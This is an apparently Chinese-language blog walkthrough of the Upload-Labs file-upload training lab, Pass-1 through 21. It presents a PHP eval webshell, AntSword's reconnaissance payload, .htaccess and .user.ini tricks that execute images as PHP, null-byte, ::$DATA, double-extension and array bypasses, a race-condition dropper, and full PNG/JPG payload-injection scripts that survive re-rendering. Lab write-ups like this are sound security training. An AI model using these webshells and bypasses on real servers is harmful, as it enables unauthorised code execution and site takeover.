Upload-Labs通关

目录

问题

我们首先先来了解一下什么是文件上传

一句话木马

web是用什么语言开发的

最简单的一句话木马

 解释

了解完一句话木马 我们了解一下 蚁剑的工作原理

Pass-1  前端验证

1.通过浏览器的插件 关闭这个前端函数

2.通过bp来抓包修改后缀

Pass-2  文件类型的匹配

Pass-3  黑名单过滤不全

Pass-4  .htaccess

Pass-5 .user.ini

Pass-6   php后缀大小写绕过

Pass-7  空格绕过

Less-8  点绕过

Pass-9  ::$DATA 绕过

Pass-10  无换名且无循环过滤 点空格点 绕过

Pass-11  双写绕过

Pass-12  白名单过滤和GET的00截断

Pass-13  POST类型的00截断和通过bp修改来实现00截断

Pass-14 图片马的制作和通过文件上传来实现shell

 Pass-15 辨识识别图片的函数

Pass-16 php_exif

Pass-17 二次渲染

GIF的二次渲染绕过

PNG的二次渲染绕过

JPG的二次渲染绕过

Less-18 条件竞争

条件竞争是什么呢

Less-19 条件竞争/图片码

 Less-20 文件夹绕过 00截断

Less-21  数组绕过


问题

记录BUG—在uploadlabs第三关中—关于phpstudy中修改httpd.conf依旧无法解析.php3d等问题_upload第三关常见错误_dfzy$_$的博客-CSDN博客

我们首先先来了解一下什么是文件上传

首先 很简单
文件上传就是 需要用户进行上传文件 图片或视频等信息

 但是如果用户恶意上传木马怎么办?

这里由提到了木马

一句话木马

我们在文件上传的时候 天天都是一句话木马

但是这个木马到底是什么呢

首先我们先要了解一下

web是用什么语言开发的

目前存在

ASP/PHP/JSP/ASPX

这些都是web开发的语言

最简单的一句话木马

   <?php @eval($_POST['attack']);?>

 解释

这里存在了几个方面

1.<?php ?>
2.@
3eval()
4$_POST['attack']


我们一个一个解释


1.就是php语言

2.@出现就是说 发生错误 也不进行报错

3.eval()  把()里面的当做命令来执行

4.$_POST['attack']  在该路径下接受attack参数 


假如我们传入 attack='ls'

那么就会被解析为 

<?php eval('ls')?>
那么就会执行 ls这个命令

了解完一句话木马 我们了解一下 蚁剑的工作原理

通过指定端口进行抓包可以发现

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
	return $out;
};
function asoutput(){
$output=ob_get_contents(); //返回输出缓冲区的内容
ob_end_clean(); //清理(擦除)缓冲区并关闭输出缓冲
echo "c6b05fd97";
echo @asenc($output);echo "d69e35d304";}
ob_start(); //打开输出缓冲区
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); //获取当前url路由的绝对路径
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D}	";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
else{
$R.="/";}$R.="	";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //获取目录,uid,系统信息,用户等信息

Pass-1  前端验证

 提示要上传的是图片

我们看看如果不上传图片会怎么样

发现被过滤了

我们来看看源代码

发现只能上传 jpg png gif的文件 并且这个是一个js函数

这里有两个方式

1.通过浏览器的插件 关闭这个前端函数

然后就可以上传 一句话木马了

2.通过bp来抓包修改后缀

上传图片马

修改为php 放包

最后通过蚁剑连接一下就可以了

Pass-2  文件类型的匹配

这道题是文件类型的匹配

通过源代码 可以发现 上传的类型 要是

image/jpeg
image/png
imgae/gif

这类才可以实现上传

这题和第一题的第二个解法一样

通过上传 jpg 修改后缀即可

Pass-3  黑名单过滤不全

这道题只过滤了一个 php

我们首先关闭前端验证

然后fuzz一下

发现 只要不是php 就都可以

我们直接上传一个 phtml类 链接即可

Pass-4  .htaccess

首先我们了解一下什么事.htaccess

如果我们不存在服务器的root权限 
但是想修改 服务器配置 就可以在 apache中打开选项
然后我们就可以通过 .htaccess 来配置服务器了

在.htaccess 中写入

<FilesMatch "shell.png">
SetHandler application/x-httpd-php
</FilesMatch>

首先指定 shell.png

然后作为php文件执行

在这道题

我们首先上传 .htaccess 然后上传 shell.png 即可

然后访问 shell.png 链接即可

Pass-5 .user.ini

Upload-labs Pass-05 .user.ini文件上传_upload labs user.ini_baynk的博客-CSDN博客

首先了解什么是 .user.ini

.user.ini 其实就是用户自定义的 php.ini

我们可以通过写入

auto_prepend_file = 木马名

来让我们访问该网站的文件的时候 自动包含我们的木马

我们可以进行测试

auto_prepend_file = shell.png

我们上传 .user.ini

 再上传 shell.png

其中 目录下一直存在一个 readme.php 

那我们网站访问 该php的时候 shell.png自动会被包含在其中

记住该靶场现在的是

 该版本
phpinfo需要是CGI这个

 才可以使用 .user.ini
按照上面的上传
然后访问 readme.php
shell.png就已经被自动包含在这个文件内了
我们只需要链接即可
记住链接的路径也是该文件

upload/readme.php

Pass-6   php后缀大小写绕过

发现修改了

所以我们只能通过另一个方法了

就是修改php后缀

在windows中 php Php phP pHp都可以作为php文件执行

所以我们抓包修改为 phP后缀

发现上传成功

 链接也可以成功

Pass-7  空格绕过

通过比对源代码

发现少了 文件末尾去空格个这个

在windows 中 如果你手动在后缀未中加空格

系统会自动删除

这个就是利用这个

通过 php空格 绕过检查 然后windows删除空格 变为 php

所以通过抓包

 加一个空格

 发现上传 成功

Less-8  点绕过

这个特性也是windows的

和空格类似

如果输入 1.txt. windows会自动识别为 1.txt 去掉 点

 

Pass-9  ::$DATA 绕过

https://www.cnblogs.com/1ink/p/15102288.html

NTFS ADS的前世今生 - 简书

我们写入

shell.php::$DATA

这个时候 服务器首先读取 $后是否为分区的可执行文件

发现属于数据流

所以服务器并不会认为这个是一个php文件

但是操作系统知道这个是一个php文件 就会把里面的内容返回到目录中

这样就绕过了黑名单

抓包

 上传成功

 

Pass-10  无换名且无循环过滤 点空格点 绕过

发现把我们之前的全过滤了

但是其实没有过滤完整

通过fuzz可以发现

 这些其实可以上传的

 并且可以通过 pHp1

链接

但是这道题我们主要的做法不是这个

我们首先通过上传shell.php来分析

 if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
假设没有过滤
        $file_name = trim($_FILES['upload_file']['name']);
读取名和后缀  shell 和.php
        $file_name = deldot($file_name);//删除文件名末尾的点
删除文件名的 shell.php
        $file_ext = strrchr($file_name, '.');
从.开始读取作为后缀 这里读取完是 php
        $file_ext = strtolower($file_ext); //转换为小写
还是php
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
还是php
        $file_ext = trim($file_ext); //首尾去空
还是php
        
        if (!in_array($file_ext, $deny_ext)) {
如果不在黑名单
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
直接把 原文件上传

            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true; 

这里我们发现

1. 只过滤1次

2.没有修改名字和后缀

所以我们可以通过构造 . . 来绕过 点空点

这样过滤后就只剩点

例如

shell.php. .

过滤完

shell.php.

这样就实现了上传

 

Pass-11  双写绕过

发现黑名单会被替换为空

这样就和sql注入一样的办法即可

双写绕过

pphphp

我们试试看

上传成功

Pass-12  白名单过滤和GET的00截断

首先 00截断是因为系统读取到了 %00后就默认结束了

就会截断后面的字符串

第二

利用条件

php 要小于 5.3.4

php.ini里

我们可以开始利用

猜测是白名单过滤

我们抓包看看

 发现 POST类型 但是存在GET参数

并且写着 save_path

保存地址

这里就是我们利用%00截断的地方

我们通过源代码也能发现

 存放的方式就是 

/upload/随机数日期.后缀

其中upload是get参数的

 那我们就可以通过get来截断

/upload/1.php%00随机数日期.后缀

1.php是我们随便构造的 用来保存内容

如果我们不截断

他就是现在这样

 如果我们截断了

他就会变为

 

 绕过成功

Pass-13  POST类型的00截断和通过bp修改来实现00截断

和12一样

抓包后就发现了 post中存在 上传路径

直接00截断

 但是这里存在一个问题

POST类型并不会和GET一样自动解码

所以我们使用BP来修改

+的十六进制是2b

点击hex

 在2b位置修改为00

然后放包

 上传成功

Pass-14 图片马的制作和通过文件上传来实现shell

首先我们看看这道题目的源代码

通过读取两个字节 并且把两个字节变为 10进制

然后链接在一起

进行比对 如果是255216 变为jpg

这里我们首先构造图片马

图片马 首先需要图片是一个正常的图片 因为需要绕过检测

然后把我们的一句话木马写入即可

copy 图片/b + 木马/a 最后的名字

 

 上传成功

通过文件上传漏洞来看看

能不能访问这个文件

 执行成功

 Pass-15 辨识识别图片的函数

这个用14的做法就可以上传图片码

主要是看看源代码来了解一下函数

getimagesize($filename);
获取图片的大小
image_type_to_extension($info[2]) 
获取图片的后缀

stripos($types,$ext)

判断 type中存不存在ext  不区分大小写

 

Pass-16 php_exif

 首先打开 php_exif

其次就是和之前一样 上传图片码

这里的 php_exif 就是识别上传的类型

    case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;

 识别为3个类型其中一个才可以过

就可以了

Pass-17 二次渲染

【文件上传绕过】——二次渲染漏洞_二次渲染绕过_剑客 getshell的博客-CSDN博客

首先 通过源代码和上传测试 我们能发现 所有的上传 都被重新命名 和重新渲染

就是重新修改了文件中的数据 只留下了 和图片信息有关的内容

GIF的二次渲染绕过

这里主要 是对GIF 因为GIF对文件的格式要求精度不高

所以不会容易损坏

首先我们传入一个GIF

 使用010打开这个文件

 这里匹配就是两个文件都存在的内容

这里我们要注意

我们写入一句话的时候 不能破坏图片 不然就是无法注入

我们来保存后重新上传

 注意我们写入的时候最好写在不破坏图片内容的地方 不然有可能无法实现绕过

PNG的二次渲染绕过

我的window没有配置php 所以使用kali

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

然后执行

php 大牛的代码 

就会自动生成png图片

然后上传即可

成功

JPG的二次渲染绕过

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

一样的代码 但是这次需要指定jpg文件

 最好多选几次

反正我是试了很多次图片 才可以上传成功

Less-18 条件竞争

先给出一句话木马

<?php fputs(fopen('2.php','w'),'<?php phpinfo();?>');?>

这个的意思是如果访问了该文件 那么就生成一个 2.php写入phpinfo

条件竞争是什么呢

当一个事务为多线程的时候

一个事务还没有结束 但是另一个事务立马访问了

这样就会形成没有"扣款"

运用到这里就是 我们上传的木马 还没有删除 就被访问了 这样就会留下我们的另一个木马

这里注意的是

move_uploaded_file()函数将上传文件临时保存,再进行判断

这里我们可以开始看看这道题目

写入木马抓包 发到爆破

 开始

然后我们去访问 1.php

然后就会生成2.php

 这个时候去访问2.php 就得到了shell

Less-19 条件竞争/图片码

Upload-labs 1-21关 靶场通关攻略(全网最全最完整)_upload靶场_晚安這個未知的世界的博客-CSDN博客

这里补充一下条件竞争的前提

是服务器暂时保存 ->比对->删除

我们打的就是时间差

这道题目也是通过条件竞争来绕过

无法使用apache特性

就是apache遇到无法解析的后缀
就会从右边往左边解析


所以可以构造 shell.php.zip

还是老老实条件竞争吧

   $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {

先对其进行上传

然后使用Myupload的upload方法

来对上传的进行判断

    case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }

下面是Myupload的代码

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

这里主要是收集一些图片的信息

并且设置白名单

我们在上传测试中也能发现

修改了名字

所以我们可以使用条件竞争

首先准备图片码

然后上传抓包和18一样操作

然后这里需要访问的是文件包含 因为我们上传的是GIF文件

 这个时候就上传成功了

 Less-20 文件夹绕过 00截断

这里使用00 截断即可

php

后面有 %00  但是是编码过的

还有一个是文件夹绕过

1/2.php/.

这样是1文件夹下的2.php文件夹下的文件

这样因为/.不存在 所以会以文件夹的命名方式来创建一个2.php

但是2.php又是文件 所以会创建一个php文件

 这里就上传成功了

Less-21  数组绕过

Upload-labs Pass-20 数组绕过_baynk的博客-CSDN博客

首先解读一下源代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
这里就是检查MIME 可以通过BP抓包修改


        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
这里注意 通过 .来分割 然后把小写的文件 作为两个数组
假如我们上传 shell.png  他就是 A=['shell','png']
        }
把所有变为小写


        $ext = end($file);
end(array)函数,输出数组中的当前元素和最后一个元素的值。
指针调位最后一个  png
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }
白名单

        else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
shell 
count(array)函数,计算数组中的单元数目,或对象中的属性个数
就是数组个数-1然后拼接
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

PHP 在线工具 | 菜鸟工具

如果我们指定这个把这个数组加到array[shell.php,null,jpg]

那count回来就是2

 这个时候数组里只有两个值

那么 2-1 =1 就会 但是 array[1] 没有内容

 不存在返回值 那么就为 ' ' 所以最后拼接就是 shell.php.

那么就成功绕过了

 那我们开始做题

抓包

修改MIME

我们自己设定数组

这样就数组就是

save_path[shell.php,NULL,png]

count为2

2-1=1 1为NULL

所以拼接就是 shell.php.''

其实就是 

shell.php.

这样就上传成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/46556.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Flutter 状态组件 InheritedWidget

Flutter 状态组件 InheritedWidget 视频 前言 今天会讲下 inheritedWidget 组件&#xff0c;InheritedWidget 是 Flutter 中非常重要和强大的一种 Widget&#xff0c;它可以使 Widget 树中的祖先 Widget 共享数据给它们的后代 Widget&#xff0c;从而简化了状态管理和数据传递…

高数笔记02:导数、微分、中值定理

图源&#xff1a;文心一言 本文是我学习高等数学第二、三章导数、微分、中值定理的一些笔记和心得&#xff0c;希望可以与考研路上的小伙伴一起努力上岸~~&#x1f95d;&#x1f95d; 第1版&#xff1a;查资料、画导图、归纳题型~&#x1f9e9;&#x1f9e9; 参考用书1&…

{“msg“:“invalid token“,“code“:401}

项目场景&#xff1a; 提示&#xff1a;这里简述项目相关背景&#xff1a; {“msg“:“invalid token“,“code“:401} 前端请求 后端接口时&#xff0c; 请求失败&#xff0c;控制台出现如下所示报错信息 问题描述 问题&#xff1a; 控制台报错信息如下所示&#xff1a; …

c语言内存函数的深度解析

本章对 memcpy&#xff0c;memmove&#xff0c;memcmp 三个函数进行详解和模拟实现&#xff1b; 本章重点&#xff1a;3个常见内存函数的使用方法及注意事项并学会模拟实现&#xff1b; 如果您觉得文章不错&#xff0c;期待你的一键三连哦&#xff0c;你的鼓励是我创作的动力…

多环境配置及配置文件位置

用端口测试了一下&#xff0c;properties>yml>yaml

Java并发(十三)----共享存在的问题

1、小故事 老王&#xff08;操作系统&#xff09;有一个功能强大的算盘&#xff08;CPU&#xff09;&#xff0c;现在想把它租出去&#xff0c;赚一点外快 小南、小女&#xff08;不同的线程&#xff09;来使用这个算盘来进行一些计算&#xff0c;并按照时间给老王支付费用…

neo4j教程-安装部署

neo4j教程-安装部署 Neo4j的关键概念和特点 •Neo4j是一个开源的NoSQL图形存储数据库&#xff0c;可为应用程序提供支持ACID的后端。Neo4j的开发始于2003年&#xff0c;自2007年转变为开源图形数据库模型。程序员使用的是路由器和关系的灵活网络结构&#xff0c;而不是静态表…

【代码随想录 | Leetcode | 第十一天】字符串 | 反转字符串 | 反转字符串 II | 替换空格 | 反转字符串中的单词 | 左旋转字符串

前言 欢迎来到小K的Leetcode|代码随想录|专题化专栏&#xff0c;今天将为大家带来字符串~反转字符串 | 反转字符串 II | 替换空格 | 反转字符串中的单词 | 左旋转字符串的分享✨ 目录 前言344. 反转字符串541. 反转字符串 II剑指 Offer 05. 替换空格151. 反转字符串中的单词剑…

MATLAB与ROS联合仿真——实例程序搭建思路

一、基础运动控制实例程序搭建思路 1、需要完成的任务&#xff1a; &#xff08;1&#xff09;通过设定小车运动的速度及转角来控制ROS中小车运动。 &#xff08;2&#xff09;通过键盘输入指令控制ROS中小车运动&#xff0c;键盘输入w小车前行&#xff0c;s小车后退&#x…

Windows Server 2012 搭建网关服务器并端口转发

需求 使用 Windows server 作为Hyper-V 虚拟出许多虚拟机&#xff0c;基本上都分配了内网地址&#xff0c;现在需要这些虚拟机访问外网&#xff0c;或者外网直接访问这些虚拟机&#xff0c;必须配置一个网关服务器。我决定直接使用 Windows 的远程访问中的 NAT 服务来完成。 …

【Vue】div标签实现输入框,利用contenteditable=“true“属性的标签实现

推荐个链接&#x1f517;&#xff0c;可以更好的查阅自己遇到的问题&#xff08;点击此处即可跳转&#xff09; 使用 div 实现 input、textarea 输入框 <template><div class"content"><div class"main editTextList" ><divclass&q…

ChatGPT如何帮助学生学习

​ 一些教育工作者担心学生可能使用ChatGPT作弊。因为这个AI工具能写报告和计算机代码&#xff0c;画出复杂图表……甚至已经有许多学校把ChatGPT屏蔽。 研究发现&#xff0c;学生作弊的主要原因是想考得好。是否作弊与作业和考试的打分方式有关&#xff0c;所以这与技术的便…

《零基础入门学习Python》第062讲:论一只爬虫的自我修养10:安装Scrapy

这节课我们来谈谈 Scrapy 说到Python爬虫&#xff0c;大牛们都会不约而同地提起Scrapy。因为Scrapy是一个为了爬取网站数据&#xff0c;提取结构性数据而编写的应用框架。可以应用在包括数据挖掘&#xff0c;信息处理或存储历史数据等一系列的程序中。 Scrapy最初是为了页面抓…

2023年发布的25个开源大型语言模型总结

大型语言模型(llm)是一种人工智能(AI)&#xff0c;在大量文本和代码数据集上进行训练。它们可以用于各种任务&#xff0c;包括生成文本、翻译语言和编写不同类型的创意内容。 今年开始&#xff0c;人们对开源LLM越来越感兴趣。这些模型是在开源许可下发布的&#xff0c;这意味…

HCIA练习2

目录 第一步 启动eNSP&#xff0c;搭建如图所示的拓扑结构 第二步 进行子网的划分 ​第三步 从第二步划分的16个网段中&#xff0c;选择14个网段进行使用 第四步 对路由器各个端口进行IP配置 第五步 对每个路由器的环回接口进行配置 第六步 对路由器进行静态路由配…

Redis 命令介绍

文章目录 Redis字符串操作命令哈希操作命令列表操作命令set集合sorted set 有序集合通用命令 在Java中操作Redis&#x1f350; ❤️ &#x1f6a9;4.1 Redis的Java客户端 &#x1f350;4.2 Spring Data Redis使用方式 ✏️环境搭建步骤1). 导入Spring Data Redis的maven坐标2).…

基于SpringBoot+Vue的“智慧食堂”系统设计与实现(源码+LW+部署文档等)

博主介绍&#xff1a; 大家好&#xff0c;我是一名在Java圈混迹十余年的程序员&#xff0c;精通Java编程语言&#xff0c;同时也熟练掌握微信小程序、Python和Android等技术&#xff0c;能够为大家提供全方位的技术支持和交流。 我擅长在JavaWeb、SSH、SSM、SpringBoot等框架…

ARM寄存器组织

一、寄存器二、ARM寄存器三、专用寄存器四、CPSR寄存器 一、寄存器 概念 寄存器是处理器内部的存储器&#xff0c;没有地址 作用 一般用于暂时存放参与运算的数据和运算结果 分类 包括通用寄存器、专用寄存器、控制寄存器 二、ARM寄存器 注 在某个特定模式下只能使用当前模…

Mac m1 下eclipse下载及jdk环境变量配置

一、安装eclipse 1、下载eclipse Eclipse downloads - Select a mirror | The Eclipse Foundation 此版本为m1芯片适用版本 2、下载后下一步安装即可 安装成功后&#xff0c;可以看到图标&#xff1a; 二、安装jdk 1、下载jdk 下载此版本即可&#xff0c;下载完成之后一直…

Django模型将模型注释同步到数据库

1、安装django-comment-migrate库 pip install django-comment-migrate 2、将库注册到settings.py文件中 INSTALLED_APPS [...django_comment_migrate, # 表注释... ] 3、加注释 3.1、给模型&#xff08;表&#xff09;加注释 在模型的class Meta中编辑 verbose_name&…
最新文章